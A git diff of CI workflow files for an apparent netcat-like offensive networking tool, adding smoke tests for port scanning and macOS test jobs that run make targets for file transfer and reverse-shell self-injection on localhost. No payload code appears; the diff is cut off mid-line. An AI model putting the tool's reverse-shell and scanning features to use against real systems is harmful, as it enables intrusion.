diff --git a/.github/workflows/smoke-2.7.yml b/.github/workflows/smoke-2.7.yml index eb99b8c7..7f5a1083 100644 --- a/.github/workflows/smoke-2.7.yml +++ b/.github/workflows/smoke-2.7.yml @@ -23,16 +23,46 @@ jobs: - name: Checkout repository uses: actions/checkout@v2 + - name: Docker versions + shell: bash + run: | + docker version + + - name: Docker Compose versions + shell: bash + run: | + docker-compose version + # ------------------------------------------------------------ # Tests: Behaviour # ------------------------------------------------------------ - - name: "[keep-open] before send" + - name: "[keep-open] before send (kill srv)" + shell: bash + run: | + make _smoke-keep_open-kill_srv-before_send PYTHON_VERSION=2.7 + + - name: "[keep-open] after send (kill srv)" + shell: bash + run: | + make _smoke-keep_open-kill_srv-send_data PYTHON_VERSION=2.7 + + - name: "[port scan] tcp (no banner)" + shell: bash + run: | + make _smoke-tcp_port_scan-no_banner PYTHON_VERSION=2.7 + + - name: "[port scan] tcp (with banner)" + shell: bash + run: | + make _smoke-tcp_port_scan-with_banner PYTHON_VERSION=2.7 + + - name: "[port scan] udp (no banner)" shell: bash run: | - make _smoke-keep_open-before_send PYTHON_VERSION=2.7 + make _smoke-udp_port_scan-no_banner PYTHON_VERSION=2.7 - - name: "[keep-open] after client sends" + - name: "[port scan] udp (with banner)" shell: bash run: | - make _smoke-keep_open-after_client_send PYTHON_VERSION=2.7 + make _smoke-udp_port_scan-with_banner PYTHON_VERSION=2.7 diff --git a/.github/workflows/smoke-3.5.yml b/.github/workflows/smoke-3.5.yml index 0967e3b5..88ab5775 100644 --- a/.github/workflows/smoke-3.5.yml +++ b/.github/workflows/smoke-3.5.yml @@ -23,16 +23,46 @@ jobs: - name: Checkout repository uses: actions/checkout@v2 + - name: Docker versions + shell: bash + run: | + docker version + + - name: Docker Compose versions + shell: bash + run: | + docker-compose version + # ------------------------------------------------------------ # Tests: Behaviour # ------------------------------------------------------------ - - name: "[keep-open] before send" + - name: "[keep-open] before send (kill srv)" + shell: bash + run: | + make _smoke-keep_open-kill_srv-before_send PYTHON_VERSION=3.5 + + - name: "[keep-open] after send (kill srv)" + shell: bash + run: | + make _smoke-keep_open-kill_srv-send_data PYTHON_VERSION=3.5 + + - name: "[port scan] tcp (no banner)" + shell: bash + run: | + make _smoke-tcp_port_scan-no_banner PYTHON_VERSION=3.5 + + - name: "[port scan] tcp (with banner)" + shell: bash + run: | + make _smoke-tcp_port_scan-with_banner PYTHON_VERSION=3.5 + + - name: "[port scan] udp (no banner)" shell: bash run: | - make _smoke-keep_open-before_send PYTHON_VERSION=3.5 + make _smoke-udp_port_scan-no_banner PYTHON_VERSION=3.5 - - name: "[keep-open] after client sends" + - name: "[port scan] udp (with banner)" shell: bash run: | - make _smoke-keep_open-after_client_send PYTHON_VERSION=3.5 + make _smoke-udp_port_scan-with_banner PYTHON_VERSION=3.5 diff --git a/.github/workflows/smoke-3.6.yml b/.github/workflows/smoke-3.6.yml index cdfd1bef..31a4a0e3 100644 --- a/.github/workflows/smoke-3.6.yml +++ b/.github/workflows/smoke-3.6.yml @@ -23,16 +23,46 @@ jobs: - name: Checkout repository uses: actions/checkout@v2 + - name: Docker versions + shell: bash + run: | + docker version + + - name: Docker Compose versions + shell: bash + run: | + docker-compose version + # ------------------------------------------------------------ # Tests: Behaviour # ------------------------------------------------------------ - - name: "[keep-open] before send" + - name: "[keep-open] before send (kill srv)" + shell: bash + run: | + make _smoke-keep_open-kill_srv-before_send PYTHON_VERSION=3.6 + + - name: "[keep-open] after send (kill srv)" + shell: bash + run: | + make _smoke-keep_open-kill_srv-send_data PYTHON_VERSION=3.6 + + - name: "[port scan] tcp (no banner)" + shell: bash + run: | + make _smoke-tcp_port_scan-no_banner PYTHON_VERSION=3.6 + + - name: "[port scan] tcp (with banner)" + shell: bash + run: | + make _smoke-tcp_port_scan-with_banner PYTHON_VERSION=3.6 + + - name: "[port scan] udp (no banner)" shell: bash run: | - make _smoke-keep_open-before_send PYTHON_VERSION=3.6 + make _smoke-udp_port_scan-no_banner PYTHON_VERSION=3.6 - - name: "[keep-open] after client sends" + - name: "[port scan] udp (with banner)" shell: bash run: | - make _smoke-keep_open-after_client_send PYTHON_VERSION=3.6 + make _smoke-udp_port_scan-with_banner PYTHON_VERSION=3.6 diff --git a/.github/workflows/smoke-3.7.yml b/.github/workflows/smoke-3.7.yml index 4721ea84..f1366e0f 100644 --- a/.github/workflows/smoke-3.7.yml +++ b/.github/workflows/smoke-3.7.yml @@ -23,16 +23,46 @@ jobs: - name: Checkout repository uses: actions/checkout@v2 + - name: Docker versions + shell: bash + run: | + docker version + + - name: Docker Compose versions + shell: bash + run: | + docker-compose version + # ------------------------------------------------------------ # Tests: Behaviour # ------------------------------------------------------------ - - name: "[keep-open] before send" + - name: "[keep-open] before send (kill srv)" + shell: bash + run: | + make _smoke-keep_open-kill_srv-before_send PYTHON_VERSION=3.7 + + - name: "[keep-open] after send (kill srv)" + shell: bash + run: | + make _smoke-keep_open-kill_srv-send_data PYTHON_VERSION=3.7 + + - name: "[port scan] tcp (no banner)" + shell: bash + run: | + make _smoke-tcp_port_scan-no_banner PYTHON_VERSION=3.7 + + - name: "[port scan] tcp (with banner)" + shell: bash + run: | + make _smoke-tcp_port_scan-with_banner PYTHON_VERSION=3.7 + + - name: "[port scan] udp (no banner)" shell: bash run: | - make _smoke-keep_open-before_send PYTHON_VERSION=3.7 + make _smoke-udp_port_scan-no_banner PYTHON_VERSION=3.7 - - name: "[keep-open] after client sends" + - name: "[port scan] udp (with banner)" shell: bash run: | - make _smoke-keep_open-after_client_send PYTHON_VERSION=3.7 + make _smoke-udp_port_scan-with_banner PYTHON_VERSION=3.7 diff --git a/.github/workflows/smoke-3.8.yml b/.github/workflows/smoke-3.8.yml index 0490470e..173111b0 100644 --- a/.github/workflows/smoke-3.8.yml +++ b/.github/workflows/smoke-3.8.yml @@ -23,16 +23,46 @@ jobs: - name: Checkout repository uses: actions/checkout@v2 + - name: Docker versions + shell: bash + run: | + docker version + + - name: Docker Compose versions + shell: bash + run: | + docker-compose version + # ------------------------------------------------------------ # Tests: Behaviour # ------------------------------------------------------------ - - name: "[keep-open] before send" + - name: "[keep-open] before send (kill srv)" + shell: bash + run: | + make _smoke-keep_open-kill_srv-before_send PYTHON_VERSION=3.8 + + - name: "[keep-open] after send (kill srv)" + shell: bash + run: | + make _smoke-keep_open-kill_srv-send_data PYTHON_VERSION=3.8 + + - name: "[port scan] tcp (no banner)" + shell: bash + run: | + make _smoke-tcp_port_scan-no_banner PYTHON_VERSION=3.8 + + - name: "[port scan] tcp (with banner)" + shell: bash + run: | + make _smoke-tcp_port_scan-with_banner PYTHON_VERSION=3.8 + + - name: "[port scan] udp (no banner)" shell: bash run: | - make _smoke-keep_open-before_send PYTHON_VERSION=3.8 + make _smoke-udp_port_scan-no_banner PYTHON_VERSION=3.8 - - name: "[keep-open] after client sends" + - name: "[port scan] udp (with banner)" shell: bash run: | - make _smoke-keep_open-after_client_send PYTHON_VERSION=3.8 + make _smoke-udp_port_scan-with_banner PYTHON_VERSION=3.8 diff --git a/.github/workflows/test-x64-macos-2.7.yml b/.github/workflows/test-x64-macos-2.7.yml index f67e071f..2adbf65f 100644 --- a/.github/workflows/test-x64-macos-2.7.yml +++ b/.github/workflows/test-x64-macos-2.7.yml @@ -29,9 +29,11 @@ jobs: python-version: 2.7 architecture: x64 - - name: Display Python version - shell: bash - run: python -c "import sys; print(sys.version)" + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash @@ -49,6 +51,31 @@ jobs: cat /etc/hosts fi + + + + + - name: Display Bash version + shell: bash + run: | + bash --version + whereis bash || true + which bash || true + + - name: Display Python version + shell: bash + run: | + python -c "import sys; print(sys.version)" + whereis python || true + which python || true + + - name: Display PHP version + shell: bash + run: | + php --version + whereis php || true + which php || true + - name: Resolve localhost shell: bash run: | @@ -72,7 +99,6 @@ jobs: # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | @@ -1071,3 +1097,184 @@ jobs: retry make _test-options--ping_word env: RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: Behaviour (File Transfer) + # ------------------------------------------------------------ + - name: "[BEHAVIOUR] File Transfer: send normal" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_normal + env: + RETRIES: 5 + + - name: "[BEHAVIOUR] File Transfer: send on eof" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_on_eof + env: + RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: CNC Self-inject + # ------------------------------------------------------------ + - name: "[CNC] Inject shell: pwncat as rev shell" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-pwncat + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed + env: + RETRIES: 2 diff --git a/.github/workflows/test-x64-macos-3.5.yml b/.github/workflows/test-x64-macos-3.5.yml index b9357786..a9b0d89d 100644 --- a/.github/workflows/test-x64-macos-3.5.yml +++ b/.github/workflows/test-x64-macos-3.5.yml @@ -29,9 +29,11 @@ jobs: python-version: 3.5 architecture: x64 - - name: Display Python version - shell: bash - run: python -c "import sys; print(sys.version)" + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash @@ -49,6 +51,31 @@ jobs: cat /etc/hosts fi + + + + + - name: Display Bash version + shell: bash + run: | + bash --version + whereis bash || true + which bash || true + + - name: Display Python version + shell: bash + run: | + python -c "import sys; print(sys.version)" + whereis python || true + which python || true + + - name: Display PHP version + shell: bash + run: | + php --version + whereis php || true + which php || true + - name: Resolve localhost shell: bash run: | @@ -72,7 +99,6 @@ jobs: # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | @@ -1071,3 +1097,184 @@ jobs: retry make _test-options--ping_word env: RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: Behaviour (File Transfer) + # ------------------------------------------------------------ + - name: "[BEHAVIOUR] File Transfer: send normal" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_normal + env: + RETRIES: 5 + + - name: "[BEHAVIOUR] File Transfer: send on eof" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_on_eof + env: + RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: CNC Self-inject + # ------------------------------------------------------------ + - name: "[CNC] Inject shell: pwncat as rev shell" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-pwncat + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed + env: + RETRIES: 2 diff --git a/.github/workflows/test-x64-macos-3.6.yml b/.github/workflows/test-x64-macos-3.6.yml index 7918e0d8..ab579834 100644 --- a/.github/workflows/test-x64-macos-3.6.yml +++ b/.github/workflows/test-x64-macos-3.6.yml @@ -29,9 +29,11 @@ jobs: python-version: 3.6 architecture: x64 - - name: Display Python version - shell: bash - run: python -c "import sys; print(sys.version)" + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash @@ -49,6 +51,31 @@ jobs: cat /etc/hosts fi + + + + + - name: Display Bash version + shell: bash + run: | + bash --version + whereis bash || true + which bash || true + + - name: Display Python version + shell: bash + run: | + python -c "import sys; print(sys.version)" + whereis python || true + which python || true + + - name: Display PHP version + shell: bash + run: | + php --version + whereis php || true + which php || true + - name: Resolve localhost shell: bash run: | @@ -72,7 +99,6 @@ jobs: # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | @@ -1071,3 +1097,184 @@ jobs: retry make _test-options--ping_word env: RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: Behaviour (File Transfer) + # ------------------------------------------------------------ + - name: "[BEHAVIOUR] File Transfer: send normal" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_normal + env: + RETRIES: 5 + + - name: "[BEHAVIOUR] File Transfer: send on eof" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_on_eof + env: + RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: CNC Self-inject + # ------------------------------------------------------------ + - name: "[CNC] Inject shell: pwncat as rev shell" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-pwncat + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed + env: + RETRIES: 2 diff --git a/.github/workflows/test-x64-macos-3.7.yml b/.github/workflows/test-x64-macos-3.7.yml index 13ad982d..cabafde5 100644 --- a/.github/workflows/test-x64-macos-3.7.yml +++ b/.github/workflows/test-x64-macos-3.7.yml @@ -29,9 +29,11 @@ jobs: python-version: 3.7 architecture: x64 - - name: Display Python version - shell: bash - run: python -c "import sys; print(sys.version)" + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash @@ -49,6 +51,31 @@ jobs: cat /etc/hosts fi + + + + + - name: Display Bash version + shell: bash + run: | + bash --version + whereis bash || true + which bash || true + + - name: Display Python version + shell: bash + run: | + python -c "import sys; print(sys.version)" + whereis python || true + which python || true + + - name: Display PHP version + shell: bash + run: | + php --version + whereis php || true + which php || true + - name: Resolve localhost shell: bash run: | @@ -72,7 +99,6 @@ jobs: # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | @@ -1071,3 +1097,184 @@ jobs: retry make _test-options--ping_word env: RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: Behaviour (File Transfer) + # ------------------------------------------------------------ + - name: "[BEHAVIOUR] File Transfer: send normal" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_normal + env: + RETRIES: 5 + + - name: "[BEHAVIOUR] File Transfer: send on eof" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_on_eof + env: + RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: CNC Self-inject + # ------------------------------------------------------------ + - name: "[CNC] Inject shell: pwncat as rev shell" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-pwncat + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} 